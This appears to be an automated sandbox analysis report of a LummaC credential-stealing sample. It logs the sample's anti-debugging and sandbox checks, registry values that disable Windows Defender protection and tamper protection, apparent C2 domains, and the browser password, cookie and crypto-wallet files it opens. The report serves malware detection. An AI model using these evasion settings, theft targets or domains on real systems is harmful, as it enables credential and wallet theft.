Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: 5C18KRB735WCGR95JY.exe, 00000006.00000002.2207508292.0000000000E1D000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: file.exe, 00000001.00000003.1676737977.00000000053F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe

Code function: 6_2_00E19451 rdtsc

6_2_00E19451

Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000001.00000003.1345000068.00000000047E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000001.00000003.1345000068.00000000047E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000001.00000003.1345000068.00000000047E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000001.00000003.1345000068.00000000047E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000001.00000003.1345000068.00000000047E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000001.00000003.1345000068.00000000047E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000001.00000003.1345000068.00000000047E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000001.00000003.1345000068.00000000047E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: 5C18KRB735WCGR95JY.exe, 5C18KRB735WCGR95JY.exe, 00000006.00000002.2207805653.0000000000E74000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: ]m@yProgram Manager
Source: 5C18KRB735WCGR95JY.exe, 00000006.00000002.2207805653.0000000000E74000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: o]m@yProgram Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, file.exe, 00000001.00000003.1899255171.00000000007B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2005200673.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1899354200.0000000000737000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006591980.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1899255171.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006266656.00000000007A9000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7664, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: Wallets/Electrum-LTC
Source: file.exe	String found in binary or memory: Wallets/ElectronCash
Source: file.exe, 00000001.00000003.1675974639.00000000052F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Jaxx Libertyt
Source: file.exe, 00000001.00000003.1675534325.00000000007AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe, 00000001.00000003.1675518896.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000001.00000003.1675435337.00000000007BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance
Source: file.exe	String found in binary or memory: Data\Roaming\Ethereum
Source: file.exe, 00000001.00000003.1675534325.000000000075A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: file.exe, 00000001.00000003.1675974639.00000000052F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: file.exe, 00000001.00000003.1675435337.00000000007BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ntdesk\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
